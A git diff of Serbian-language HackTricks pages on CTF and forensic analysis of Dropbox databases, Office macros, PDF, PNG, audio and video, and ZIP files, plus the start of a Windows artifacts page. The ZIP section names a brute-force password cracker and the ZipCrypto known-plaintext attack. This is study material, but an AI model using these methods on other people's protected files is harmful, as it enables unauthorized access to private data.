- **Server\_path**: Putanja gde se fajl nalazi unutar servera (ova putanja je prethodjena `host_id`-om klijenta).
|
||||||
|
- **local\_sjid**: Verzija fajla
|
||||||
|
- **local\_mtime**: Datum modifikacije
|
||||||
|
- **local\_ctime**: Datum kreiranja
|
||||||
|
|
||||||
|
Druge tabele unutar ove baze podataka sadrže još interesantnih informacija:
|
||||||
|
|
||||||
|
- **block\_cache**: heš svih fajlova i fascikli Dropbox-a
|
||||||
|
- **block\_ref**: Povezan je ID heša iz tabele `block_cache` sa ID fajla u tabeli `file_journal`
|
||||||
|
- **mount\_table**: Deljeni folderi Dropbox-a
|
||||||
|
- **deleted\_fields**: Obrisani fajlovi sa Dropbox-a
|
||||||
|
- **date\_added**
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice na svetu.\
|
||||||
|
Pristupite danas:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
- Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
- Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
- Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
- **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
- **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,58 @@
|
||||||
|
# Analiza Office fajlova
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||||
|
Pristupite danas:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
Za dodatne informacije pogledajte [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Ovo je samo sažetak:
|
||||||
|
|
||||||
|
Microsoft je kreirao mnogo formata kancelarijskih dokumenata, sa dva glavna tipa **OLE formata** (kao što su RTF, DOC, XLS, PPT) i **Office Open XML (OOXML) formata** (kao što su DOCX, XLSX, PPTX). Ovi formati mogu uključivati makroe, čineći ih metama za phishing i malware. OOXML fajlovi su strukturirani kao zip kontejneri, što omogućava inspekciju kroz dekompresiju, otkrivajući strukturu fajlova i foldera i sadržaj XML fajlova.
|
||||||
|
|
||||||
|
Za istraživanje struktura OOXML fajlova, dat je komanda za dekompresiju dokumenta i struktura izlaza. Tehnike za skrivanje podataka u ovim fajlovima su dokumentovane, što ukazuje na stalnu inovaciju u skrivanju podataka unutar CTF izazova.
|
||||||
|
|
||||||
|
Za analizu, **oletools** i **OfficeDissector** nude sveobuhvatne alate za ispitivanje kako OLE tako i OOXML dokumenata. Ovi alati pomažu u identifikaciji i analizi ugrađenih makroa, koji često služe kao vektori za isporuku malvera, obično preuzimajući i izvršavajući dodatne zlonamerne sadržaje. Analiza VBA makroa može se sprovesti bez Microsoft Office-a korišćenjem Libre Office-a, koji omogućava debagovanje sa prekidima i promenljivim vrednostima.
|
||||||
|
|
||||||
|
Instalacija i korišćenje **oletools**-a je jednostavno, sa komandama za instalaciju putem pip-a i izdvajanje makroa iz dokumenata. Automatsko izvršavanje makroa pokreće se funkcijama poput `AutoOpen`, `AutoExec`, ili `Document_Open`.
|
||||||
|
```bash
|
||||||
|
sudo pip3 install -U oletools
|
||||||
|
olevba -c /path/to/document #Extract macros
|
||||||
|
```
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||||
|
Pristupite danas:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,52 @@
|
||||||
|
# Analiza PDF fajlova
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||||
|
Pristupite danas:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
**Za dalje detalje pogledajte:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
|
||||||
|
|
||||||
|
PDF format je poznat po svojoj složenosti i potencijalu za skrivanje podataka, čineći ga fokusom za CTF forenzičke izazove. Kombinuje elemente običnog teksta sa binarnim objektima, koji mogu biti kompresovani ili enkriptovani, i mogu uključivati skripte u jezicima poput JavaScript-a ili Flash-a. Da bi razumeli strukturu PDF-a, možete se referisati na Didier Stevens-ov [uvodni materijal](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ili koristiti alate poput tekst editora ili PDF-specifičnog editora poput Origamija.
|
||||||
|
|
||||||
|
Za detaljno istraživanje ili manipulaciju PDF-ova, dostupni su alati poput [qpdf](https://github.com/qpdf/qpdf) i [Origami](https://github.com/mobmewireless/origami-pdf). Skriveni podaci unutar PDF-ova mogu biti prikriveni u:
|
||||||
|
|
||||||
|
* Nevidljivim slojevima
|
||||||
|
* XMP formatu metapodataka od strane Adobe-a
|
||||||
|
* Inkrementalnim generacijama
|
||||||
|
* Tekstu iste boje kao pozadina
|
||||||
|
* Tekstu iza slika ili preklapajućih slika
|
||||||
|
* Komentarima koji se ne prikazuju
|
||||||
|
|
||||||
|
Za prilagođenu analizu PDF-a, Python biblioteke poput [PeepDF](https://github.com/jesparza/peepdf) mogu se koristiti za izradu prilagođenih skriptova za parsiranje. Nadalje, potencijal PDF-a za skriveno skladištenje podataka je toliko velik da resursi poput NSA vodiča o rizicima i merama protiv PDF-a, iako više nije smešten na originalnoj lokaciji, i dalje nude vredne uvide. [Kopija vodiča](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) i kolekcija [triikova u PDF formatu](https://github.com/corkami/docs/blob/master/PDF/PDF.md) od strane Ange Albertini mogu pružiti dodatno čitanje na ovu temu.
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,33 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
**PNG fajlovi** su visoko cenjeni u **CTF izazovima** zbog njihovog **bezgubitnog kompresovanja**, što ih čini idealnim za ugradnju skrivenih podataka. Alati poput **Wireshark-a** omogućavaju analizu PNG fajlova razlaganjem njihovih podataka unutar mrežnih paketa, otkrivajući ugrađene informacije ili anomalije.
|
||||||
|
|
||||||
|
Za proveru celovitosti PNG fajlova i popravku oštećenja, ključan alat je **pngcheck**, koji pruža funkcionalnost komandne linije za validaciju i dijagnostikovanje PNG fajlova ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Kada su fajlovi izvan jednostavnih popravki, online servisi poput [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) pružaju web-bazno rešenje za **popravku oštećenih PNG-ova**, pomažući u oporavku ključnih podataka za učesnike CTF-a.
|
||||||
|
|
||||||
|
Ove strategije ističu važnost sveobuhvatnog pristupa u CTF-ovima, koristeći kombinaciju analitičkih alata i tehnika popravke kako bi se otkrili i povratili skriveni ili izgubljeni podaci.
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,41 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
**Manipulacija audio i video fajlovima** je osnova u izazovima **CTF forenzike**, koristeći **steganografiju** i analizu metapodataka za skrivanje ili otkrivanje tajnih poruka. Alati poput **[mediainfo](https://mediaarea.net/en/MediaInfo)** i **`exiftool`** su neophodni za pregledanje metapodataka fajlova i identifikaciju vrsta sadržaja.
|
||||||
|
|
||||||
|
Za audio izazove, **[Audacity](http://www.audacityteam.org/)** se ističe kao vodeći alat za pregledanje talasnih oblika i analizu spektrograma, što je ključno za otkrivanje teksta kodiranog u audio formatu. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** se visoko preporučuje za detaljnu analizu spektrograma. **Audacity** omogućava manipulaciju audio snimcima kao što su usporavanje ili obrtanje traka kako bi se otkrile skrivene poruke. **[Sox](http://sox.sourceforge.net/)**, komandna linija, se odlično snalazi u konverziji i uređivanju audio fajlova.
|
||||||
|
|
||||||
|
**Manipulacija najmanje značajnim bitovima (LSB)** je česta tehnika u audio i video steganografiji, iskorišćavajući fiksne delove medijskih fajlova za skriveno ugrađivanje podataka. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** je koristan za dekodiranje poruka skrivenih kao **DTMF tonovi** ili **Morseov kod**.
|
||||||
|
|
||||||
|
Video izazovi često uključuju kontejnerske formate koji sadrže audio i video tokove. **[FFmpeg](http://ffmpeg.org/)** je alat za analizu i manipulaciju ovim formatima, sposoban za de-multiplexiranje i reprodukciju sadržaja. Za programere, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integriše mogućnosti FFmpeg-a u Python za napredne skriptabilne interakcije.
|
||||||
|
|
||||||
|
Ova paleta alata naglašava potrebnu fleksibilnost u CTF izazovima, gde učesnici moraju primeniti širok spektar tehnika analize i manipulacije kako bi otkrili skrivene podatke unutar audio i video fajlova.
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
* [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,44 @@
|
||||||
|
# Trikovi sa ZIP fajlovima
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
**Command-line alati** za upravljanje **zip fajlovima** su neophodni za dijagnostikovanje, popravku i probijanje zip fajlova. Evo nekih ključnih alata:
|
||||||
|
|
||||||
|
- **`unzip`**: Otkriva zašto se zip fajl možda ne može dekompresovati.
|
||||||
|
- **`zipdetails -v`**: Pruža detaljnu analizu polja formata zip fajla.
|
||||||
|
- **`zipinfo`**: Lista sadržaj zip fajla bez ekstrakcije.
|
||||||
|
- **`zip -F input.zip --out output.zip`** i **`zip -FF input.zip --out output.zip`**: Pokušajte da popravite oštećene zip fajlove.
|
||||||
|
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Alat za brute-force probijanje lozinki zip fajlova, efikasan za lozinke do oko 7 karaktera.
|
||||||
|
|
||||||
|
Specifikacija [Zip formata fajla](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) pruža sveobuhvatne detalje o strukturi i standardima zip fajlova.
|
||||||
|
|
||||||
|
Važno je napomenuti da zip fajlovi zaštićeni lozinkom **ne šifruju imena fajlova ili veličine fajlova** unutar sebe, što je sigurnosna slabost koju ne dele RAR ili 7z fajlovi koji šifruju ove informacije. Osim toga, zip fajlovi koji su šifrovani starijom metodom ZipCrypto su ranjivi na **napad sa poznatim tekstom** ako je dostupna nešifrovana kopija komprimiranog fajla. Ovaj napad koristi poznati sadržaj za probijanje lozinke zip fajla, ranjivost koja je detaljno objašnjena u [HackThis-ovom članku](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) i dalje objašnjena u [ovom naučnom radu](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). Međutim, zip fajlovi koji su obezbeđeni **AES-256** šifrovanjem su imuni na ovaj napad sa poznatim tekstom, što pokazuje važnost izbora sigurnih metoda šifrovanja za osetljive podatke.
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
* [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,509 @@
|
||||||
|
# Windows Artifacts
|
||||||
|
|
||||||
|
## Windows Artifakti
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Generički Windows Artifakti
|
||||||
|
|
||||||
|
### Windows 10 Obaveštenja
|
||||||
|
|
||||||
|
Na putanji `\Users\<korisničko_ime>\AppData\Local\Microsoft\Windows\Notifications` možete pronaći bazu podataka `appdb.dat` (pre Windows Anniversary) ili `wpndatabase.db` (posle Windows Anniversary).
|
||||||
|
|
||||||
|
Unutar ove SQLite baze podataka, možete pronaći tabelu `Notification` sa svim obaveštenjima (u XML formatu) koja mogu sadržati interesantne podatke.
|
||||||
|
|
||||||
|
### Vremenska linija
|
||||||
|
|
||||||
|
Vremenska linija je karakteristika Windows-a koja pruža **hronološku istoriju** posećenih web stranica, izmenjenih dokumenata i izvršenih aplikacija.
|
||||||
|
|
||||||
|
Baza podataka se nalazi na putanji `\Users\<korisničko_ime>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Ovu bazu podataka možete otvoriti sa alatom SQLite ili sa alatom [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **koji generiše 2 fajla koji se mogu otvoriti sa alatom** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
|
||||||
|
|
||||||
|
### ADS (Alternate Data Streams)
|
||||||
|
|
||||||
|
Preuzeti fajlovi mogu sadržati **ADS Zone.Identifier** koji ukazuje **kako** je fajl **preuzet** sa intraneta, interneta, itd. Neki softveri (kao što su pretraživači) obično dodaju **još** **informacija** kao što je **URL** sa kog je fajl preuzet.
|
||||||
